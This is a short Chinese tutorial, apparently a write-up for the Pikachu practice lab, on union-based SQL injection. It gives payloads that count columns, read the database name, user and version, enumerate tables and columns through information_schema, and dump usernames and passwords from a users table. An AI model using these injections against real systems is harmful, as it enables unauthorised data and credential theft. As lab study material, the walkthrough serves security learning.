union联合
以字符型为例,使用order by 判断字段 在输入第三个字段的时候报错
1 | J’ order by 3# |
因此判断为两个字段
1 | j' union select database(),user()# (%23和#构成闭合sql语句) |
使用联合查询获取用户以及权限
当然换一个语句查询版本信息,注意是两个字段
1 | 1' union select user(),version()# |
获取
根据上面获取的用户名 ‘pikachu’1
j' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#
这个SQL语句看起来是一个尝试进行SQL注入的代码,它试图显示数据库”pikachu”中表的名称。
具体而言,SQL查询使用UNION操作符来合并两个不同查询的结果。第一部分查询是”j’”,通常不会返回任何内容。第二部分查询是”union select table_schema,table_name from information_schema.tables where table_schema=’pikachu’#”,它的目的是从数据库信息模式中检索”pikachu”数据库中所有表的名称。其中”#”是注释符号,可以用于忽略查询的其余部分,因此它可以使查询成功运行而不报错
上一步获取了,pikachu数据库当中的一些表,其中看到了users字样的表,因此我们接着对这个表进行注入,
获取字段名字
1 | jay' union select table_name,column_name from information_schema.columns where table_name='users'# |
获取内容
1 | jay' union select username,password from users# |